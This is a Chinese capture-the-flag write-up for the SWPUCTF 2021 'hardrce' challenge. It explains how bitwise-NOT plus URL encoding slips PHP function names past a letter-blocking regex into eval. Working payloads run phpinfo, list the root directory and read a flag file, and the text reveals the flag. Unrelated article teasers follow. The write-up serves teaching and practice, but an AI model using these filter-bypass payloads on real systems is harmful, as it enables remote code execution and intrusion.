NSSCTF[SWPUCTF 2021 新生赛]hardrce(无字母RCE)

代码审计:

使用get方式请求给wllm传参

使用preg_match函数正则匹配过滤掉了一些符号

'\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`'

以及 [a-zA-Z] 即所有的大小写字母

如果传入内容满足这些条件则会执行eval函数

URL编码取反绕过正则实现RCE:

直接传入肯定不行

此时我们可以对需要使用的函数进行取反,然后再进行URL 编码;

在发送 payload 的时候将其取反,便可还原代码;

因为取反操作后基本上用的都是不可见字符,所以不会触发正则匹配。

对于没有参数的函数,比如phpinfo();

这里没有过滤括号和分号,所以我们对phpinfo取反编码再取反即可

使用~对phpinfo进行取反操作,再使用urlencode函数对其进行编码

得到 %8F%97%8F%96%91%99%90

构造payload:?wllm=(~%8F%97%8F%96%91%99%90)();   #phpinfo();

传入之后成功回显

注意:在使用取反编码再取反进行绕过时,想要执行我们指定的代码,传入的payload必须要满足 (函数名)() 这样的形式,否则在取反之前PHP解释器并不知道是要执行一个函数,取反之后就算是一个函数也不会被当作代码执行。

我们可以验证一下,如果将phpinfo()整体取反编码再取反,是否会执行呢?

得到%8F%97%8F%96%91%99%90%D7%D6

构造payload:?wllm=(~%8F%97%8F%96%91%99%90%D7%D6);   

按道理来说它也是 phpinfo();

但是传入之后发现代码并没有被执行

因此我们在使用这种方法的时候一定要注意满足要求的格式

接下来我们介绍有参数的函数:

同样需要满足上述要求,不同的是需要分别对其中的字符进行编码

比如我们想执行system('ls /');

分别对 system 和 ls / 进行取反、编码,输出"\n"是用来换行

得到

%8C%86%8C%8B%9A%92

%93%8C%DF%D0

再分别对它们再次进行取反操作

构造payload:?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

命令执行成功,发现存在名为flllllaaaaaaggggggg的文件

我们尝试获取它

构造payload: ?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

拿到flag

NSSCTF{36209fa9-5341-4a17-b668-ac020cdee0e6} 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/154664.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第83步 时间序列建模实战:Catboost回归建模

基于WIN10的64位系统演示 一、写在前面 这一期&#xff0c;我们介绍Catboost回归。 同样&#xff0c;这里使用这个数据&#xff1a; 《PLoS One》2015年一篇题目为《Comparison of Two Hybrid Models for Forecasting the Incidence of Hemorrhagic Fever with Renal Syndr…

修改ubuntu服务器fs文件最大打开数

起因 在对项目进行压测的时候&#xff0c;请求异常 java.net.SocketException: socket closed&#xff0c;查看nginx代理服务器的日志。tail -f -n500 /var/log/nginx/error.log 显示 文件打开数太多socket() failed (24: Too many open files) while connecting to upstream …

数据结构:链表(1)

顺序表的优缺点 缺点&#xff1a; 1.插入数据必须移动其他数据&#xff0c;最坏情况下&#xff0c;就是插入到0位置。时间复杂度O(N) 2.删除数据必须移动其他数据&#xff0c;最坏情况下&#xff0c;就是删除0位置。时间复杂度O(N) 3.扩容之后&#xff0c;有可能会浪费空间…

游戏服务端性能测试实战总结

导语&#xff1a;近期经历了一系列的性能测试&#xff0c;涵盖了Web服务器和游戏服务器的领域。在这篇文章中&#xff0c;我将会对游戏服务端所做的测试进行详细整理和记录。需要注意的是&#xff0c;本文着重于记录&#xff0c;而并非深入的编程讨论。在这里&#xff0c;我将与…

mysql面试题35:MySQL有关权限的表有哪些?

该文章专注于面试,面试只要回答关键点即可,不需要对框架有非常深入的回答,如果你想应付面试,是足够了,抓住关键点 面试官:MySQL有关权限的表有哪些? MySQL中与权限相关的表主要包括以下几个: user表:存储MySQL用户的基本信息,包括用户名、密码等。可以使用以下命令…

sqlalchemy 连接池

报错 sqlalchemy.exc.TimeoutError: QueuePool limit of size 100 overflow 10 reached, connection timed out, timeout 30 (Background on this error at: http://sqlalche.me/e/3o7r) 查看数据库未活动超时时间 show variables like "interactive_timeout";一般…

CAN和CANFD通信介绍

CAN&#xff08;Controller Area Network&#xff0c;控制器局域网&#xff09;是一种串行通信技术&#xff0c;专门用于在汽车电子控制单元&#xff08;ECU&#xff09;之间实现可靠的数据交换。 CAN协议介绍 电子化 汽车近年来的发展呈现出以电子化为主的特点。电子化的主…

虚幻引擎:如何才能对音波(声音资产)进行逻辑设置和操作

案列&#xff1a;调整背景音乐大小 1.创建一个SoundCue 2.进入创建的SoundCue文件 3. 创建音效类和音效类混合 4.进入SoundCue选择需要的音效类 5.然后音效类混合选择相同的音效类 6.然后蓝图中通过节点进行控制音量大小

C#实现五子棋小游戏:简单、有趣的编程项目

目录 引言什么是五子棋游戏规则开发环境准备安装C#开发环境选择合适的集成开发环境(IDE)游戏设计与功能分析游戏界面设计实现棋盘的绘制与操作实现落子功能实现输赢判断说明引言 什么是五子棋 五子棋是一种源于中国的传统棋类游戏,常见于中国、日本、韩国等亚洲国家,是亚洲…

Maven创建父子工程详解

引言 在微服务盛行的当下&#xff0c;我们创建的工程基本都是父子工程&#xff0c;我们通过父工程来引入jar&#xff0c;定义统一的版本号等&#xff0c;这样我们在子工程中就可以直接引用后使用了&#xff0c;而不需要去重复的声明版本号等&#xff0c;这样会更方便对整个项目…

测试老鸟整理,Pytest自动化测试框架的一些关键点,一文贯通...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 Pytest自动化框架&…

机器学习、深度学习相关的项目集合【自行选择即可】

【基于YOLOv5的瓷砖瑕疵检测系统】 YOLOv5是一种目标检测算法&#xff0c;它是YOLO&#xff08;You Only Look Once&#xff09;系列模型的进化版本。YOLOv5是由Ultralytics开发的&#xff0c;基于一阶段目标检测的概念。其目标是在保持高准确率的同时提高目标检测的速度和效率…

Flink开发环境搭建与提交运行Flink应用程序

Flink开发环境搭建与提交运行Flink应用程序 Flink概述环境 Flink程序开发项目构建添加依赖安装Netcat实现经典的词频统计批处理示例流处理示例 Flink Web UI 命令行提交作业编写Flink程序打包上传Jar提交作业查看任务测试 Web UI提交作业提交作业测试 Flink 概述 Apache Flink…

MinIO的安装与使用

文章目录 1.MINIO是什么&#xff1f;2.MINIO安装3.启动脚本4.打开MINIO页面5.MC命令6.MINIO备份脚本 1.MINIO是什么&#xff1f; MinIO 是一款高性能、分布式的对象存储系统. 它是一款软件产品, 可以100%的运行在标准硬件。即X86等低成本机器也能够很好的运行MinIO。 MinIO与…

alsa音频pcm设备之i2c调试

i2cdetect 列举 I2C bus i2cdetect -l ls /dev/i2c* 列出I2C bus i2c-7 上面连接的所有设备,并得到i2c设备地址 i2cdetect -y 7 发现i2c设备的位置显示为UU或表示设备地址的数值,UU表示设备在driver中被使用. I2cdump i2c设备大量register的值 i2cdump -y 7 0x40 I2cset设置…

ICPC 2019-2020 North-Western Russia Regional Contest

A (codeforces.com) 这题在移动不被挡板挡住以及不超过边界的情况下&#xff0c;每次走的越多那么次数就越少 只要两个每次都走b-a步&#xff08;已经是不被挡板挡住走的最多了&#xff09;&#xff0c;就不用考虑被挡板挡住的情况&#xff0c;只用单独考虑了&#xff0c;如果…

微服务09-Sentinel的入门

文章目录 微服务中的雪崩现象解决办法&#xff1a;1. 超时处理2. 舱壁模式3. 熔断降级4.流量控制 Sentinel1.介绍2.使用操作3.限流规则4.实战&#xff1a;流量监控5.高级选项功能的使用1.关联模式2.链路模式3.总结 流控效果1.预热模式2.排队等待模式3.总结4.热点参数限流5.实战…

【业务功能篇 131】23种设计模式介绍

第一章 设计模式概述 1.1 代码质量好坏如何评价? 要想学习设计模式呢 我们就必须搞清楚设计模式到底在我们的编程过程中起到了怎样的作用,在编程世界中它处在一个什么样的位置,它到底是一种抽象的设计思想,还是一套具体的落地方案. 在学习设计模式之前呢 我们需要了解一下 代…

【数据结构C/C++】顺序与链式二叉树创建与前中后、层序遍历

文章目录 顺序存储结构二叉树链式存储结构二叉树刷题推荐408考研各数据结构C/C代码&#xff08;Continually updating&#xff09; 顺序存储结构二叉树 顺序存储结构的二叉树的特点在于&#xff0c;其使用数组存放二叉树中的每一个节点。 我们设定根节点的数组索引下标为n&…

MYSQL的日志管理

MySQL中有几种类型的日志记录&#xff0c;分别用于记录不同的操作和事件。以下是MySQL中常见的日志类型 错误日志 错误日志是 MySQL 中最重要的日志之一&#xff0c;它记录了当 mysqld 启动和停止时&#xff0c;以及服务器在运行过程中发生任何严重错误时的相关信息。当数据…